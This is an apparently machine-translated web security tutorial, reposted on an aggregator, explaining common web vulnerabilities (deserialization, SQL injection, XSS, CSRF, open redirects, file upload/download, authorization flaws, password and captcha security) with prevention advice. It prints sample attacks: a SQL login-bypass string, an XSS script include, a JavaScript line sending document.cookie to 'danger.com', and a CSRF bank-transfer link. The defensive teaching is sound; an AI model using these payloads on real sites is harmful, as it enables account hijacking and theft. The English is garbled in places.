当前位置:网站首页>Web security practice

Web security practice

2021-05-04 14:49:22 loup

Preface

Safety is no laughing matter , Success or failure depends on the details , The Internet has risks , Between the fingers of disaster .

Safety is usually invisible , Floating around you , When it comes out , It's often unforgettable . Just because it's safe, you can't see , So it's often ignored , Because the probability of perception is really low , The user's first perception is that he can see 、 I can feel it 、 I can smell it 、 It's something that comes from tasting , The real thing , It's not something ethereal , We tend to ignore things with low probability by default .

Coding security

Deserialization command execution

Expose or indirectly expose deserialization API, Causes the user to be able to manipulate the incoming data , Attackers can construct deserialized objects carefully and execute malicious code .

The most typical is fastjson 了 , For a while ,fastjson There have been many leaks , A lot of articles have reported this , And give upgrade suggestions .fastjson In deserialization, the target class's setter Method , So if hackers are JdbcRowSetImpl Of dataSourceName Set a command to execute in , Then it will lead to very serious consequences, remote command execution vulnerability , That is to use the vulnerability to invade the target server , Execute commands through the server .

So for this kind of open source framework and Toolkit , It is recommended to use the latest version , Avoid being exploited by criminals .

SQL Inject

SQL The injection vulnerability is due to Web The application does not judge the validity of the user's input data , Through Web The input area of the page ( Such as URL、 Forms, etc ) , With carefully constructed SQL Statement inserts special characters and instructions , Obtain private information or tamper with database information by interacting with database .SQL Inject attack in Web It's very popular in attacks , Attackers can take advantage of SQL Inject vulnerability to gain administrator privileges , Add Trojans and all kinds of malicious programs on Web pages , Stealing sensitive information from enterprises and users .

Like when you log in , The user entered “admin' or 1=1 --”,

 Vulnerability code :select * from user where username='${username}' and password=‘${password}'
SQL  perform :select * from user where username=' admin' or 1=1 -- ' and password=null
 Copy code 

Preventive measures

  • Use preprocessing to perform SQL sentence
  • If you are using MyBatis, Then all variables must be used # Symbol ; If special applications have to use $ The situation of , You must make sure that the variable comes from a fixed constant defined in the system or code
  • about Order by Or table name 、 Field names and other situations where preprocessing cannot be used , R & D personnel can java Level to do mapping to solve

cross-site XSS(Cross-site scripting)

Cross site scripting attacks occur on the client , Can be used to steal privacy 、 A fishing scam 、 Steal the code 、 Spreading malicious code and other attacks .

The attacker uses the dynamic data display function of the application , stay html Malicious code embedded in the page ( Such as :“”). When users browse the page , These are embedded in html Malicious code in can be executed , The user's browser is controlled by an attacker , So as to achieve the special purpose of the attacker .

An example of fishing deception , For example, someone in the forum replied to a message , Suppose the user posted an image ,src as follows ,

http://xxx.com/a.jpg\"\u003c/script\u003e\u003cscript type='text/javascript' src='http://danger.com/xxx.js' /\u003e"
 among “\u003c” Corresponding “<”,“\u003e” Corresponding “>”
 Copy code 

A steal cookie Example , There is no limit to homology img label ,img It could be a link to a malicious URL , Then you can construct an invisible img, Then put the user's cookie Sent to a server with a malicious URL

var img=document.createElement("img");
img.src="http://danger.com/cookie=?"+escape(document.cookie);
document.body.appendChild(img);
 Copy code 

Security coding suggestions ,Java The side needs to adopt... For non rich text escape escape , Rich text uses owasp antisamy; stay javascript The output of the content “ User controlled data ”, Need to do javascript escape escape ”, And if you can , Set up a jump white list for the website .

Java The code is as follows

import cn.hutool.core.util.EscapeUtil;
import org.owasp.validator.html.AntiSamy;
import org.owasp.validator.html.CleanResults;
import org.owasp.validator.html.Policy;

public class Test {

    public static void main(String[] args) {
        String str = "abc<script>alert(\"hello\")</script>def";

        //  Non rich text uses escape escape 
        System.out.println("EscapeUtil:" + EscapeUtil.escape(str));

        //  Rich text uses owasp antisamy
        AntiSamy antiSamy = new AntiSamy();
        try {
            Policy policy = Policy.getInstance(Test.class.getClassLoader()
                    .getResourceAsStream("antisamy-anythinggoes.xml"));
            CleanResults results = antiSamy.scan(str, policy);
            System.out.println("AntiSamy:" + results.getCleanHTML());
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

 Copy code 

Cross-site request forgery CSRF(Cross-site request forgery)

When a user browses a web page , Using page elements ( for example img Of src), Force the victim's browser to Web The application sends a request to change the user's information .

Like a user's session cookie When the browser is not closed , Will not be deleted , So you can change your mind , Don't steal this anymore cookie 了 , contrary , Can be in web.com To construct a prize page in , It contains a connection , Let the user click , for example :

 Congratulations on getting iPhoneX a , come quick <a href="www.icbc.com.cn/transfer?toBankId= Hacker's account &money= amount of money "> Get it </a>
 Copy code 

You have to know icbc.com.cn The transfer operation of url And parameter names . If the user happens to be logged in icbc.com, What about his cookie still , When he can't resist temptation , Click on this link , A transfer operation happened without knowing it .

Preventive measures

  • When the user logs in , Set up a CSRF The random TOKEN, At the same time, the subsequent requests are followed by this TOKEN
  • While generating the form , push TOKEN value . Form submission , Judge token Is it consistent , If it's inconsistent or there's no such value , Judgment for CSRF attack , And keep a log , If it is consistent, let it go , And regenerate the next new token
  • Important operation to add secondary picture captcha or sliding captcha, etc
  • Fatal operations use secondary password verification or face recognition, etc

URL Jump

Web The application received a URL After the parameter , There is no change to the parameters “ Trust URL” Validation of the , Go back to the user's browser and jump to the URL Instructions . It usually occurs at the callback address of login authorization .

Preventive measures , Add jump white list , Determine whether the destination address is in the white list , If it's not in the list , It's determined to be URL Jump attack .

File security

Upload any file

File upload vulnerability is usually caused by the lax filtering of file upload path variables in web page code , If the file upload function implementation code does not strictly limit the user upload file suffix and file type , An attacker can use Web Upload any file in the directory accessed , Including backdoor files (webshell), And then remote control website server .

Preventive measures

  • Check the extension white list of uploaded files , Not on the white list , Upload is not allowed .
  • The directory of the uploaded file must be http The request cannot directly access . If you need access to , Must upload to other ( and web Different servers ) Under domain name , And set the directory to not resolve jsp Directory for scripting languages such as .
  • Image upload , To be processed ( thumbnail 、 Watermark, etc ), No exception can be saved to the server .

Download any file

When processing a user request to download a file , Allow users to submit arbitrary file paths , And send the corresponding file on the server directly to the user , This will cause the threat of arbitrary file download . If you ask the user to submit the file directory address , Send the list of files in the directory to the user , Will cause directory traversal security threats .

Preventive measures

  • Save the file path to the database , Let the user submit a file corresponding to ID Download the file
  • Do permission judgment before downloading files
  • Directory traversal service is not allowed

Authority security

Vertical rights security / Vertical ultra vires

Because the application is not authenticated , Or the authentication is relatively rough , The resulting malicious users can traverse the management page through exhaustive URL, You can access or control data or management functions owned by other roles , Achieve the purpose of authority promotion .

Fine grained authentication strategy can be adopted , Judge whether the current user has the function permission .

Horizontal access security / lateral ultra vires

The application is based on ID( Like an order id、 user id、 goods id etc. ), Without identity verification , Return user information directly , This will cause the attacker to traverse all other user information beyond his authority .

Operations involving user data should be subject to strict identity verification , You can login from the server cookie or session Check the value in the information , It is forbidden to submit ID Information is directly used for data operation .

Information security

password

For some time in the past , Many websites have suffered from user password database leakage . An endless stream of similar events will have a huge impact on users , Because people are used to using the same password on different websites , a “ Warehouse ”, All suffer .

When the user sets the password , Need to check the strength of the password , Want numbers 、 password 、 Special symbols , And 6 Above position .

At the same time, on network transmission , Also pay attention to encrypted transmission .

On the storage of passwords , Must not store plaintext , Encrypted storage is needed , After a series of storage encryption upgrades .

pure MD5 or sha Algorithm encryption , It looks safe , Can't be cracked , But with a dictionary / Rainbow watch cracking means , It's easy to crack it , For details, see MD5 Decrypt the query on the website , If your password is simple , Encrypted MD5 The ciphertext can find out the original password .

Early in order to improve one-way hash The defects of , To disable the rainbow watch , The introduction of salt , Salt is a unique string randomly generated , Connect the plaintext password to enhance the randomness of the password , And then do it hash The encrypted ciphertext is stored in db in , Such a password is the same db The values in are different , The other is that the rainbow watch won't work any more . But also with the computing power of today's computers , Brute force cracking is also a matter of minutes .

PBKDF2/BCrypt/SCrypt Algorithm , These algorithms have one characteristic , There's a factor in every algorithm , Used to indicate the resources and time required to compute the password digest , That is to calculate the strength . The more intensive the calculation is , The attacker set up rainbow table The more difficult it is , That it can't go on . This kind of algorithm can also ensure that even if the computing power continues to improve , Just adjust the intensity factor in the algorithm , The password still can't be broken easily .

Personal sensitive information

Typical examples are the user's ID card and mobile phone number , Now many websites , Just an ID card and a cell phone number , You have a lot of permissions , For the storage of this part of information , Also need to pay attention to encryption , And you can't just use simple encryption algorithms , Especially don't encode ( Such as Base64) Confused with cryptographic algorithms , The former is not a cryptographic algorithm . Do not use DES And so on , Use AES And so on .

Captcha security

land 、 register 、 SMS verification 、 Email verification, etc api It's often an attacker hitting the library 、 The target of the bombing . Landing at 、 register 、 Text messaging 、 Email sending must add picture verification code , At the same time, the validity period and the number of valid times must be set for the verification code ( It's usually disposable ), Use SMS 、 Mail verification , It is necessary to limit the same ID Or the sending frequency of the receiver's captcha .

Reference material

版权声明
本文为[loup ]所创,转载请带上原文链接,感谢
https://chowdera.com/2021/05/20210504144301064g.html

随机推荐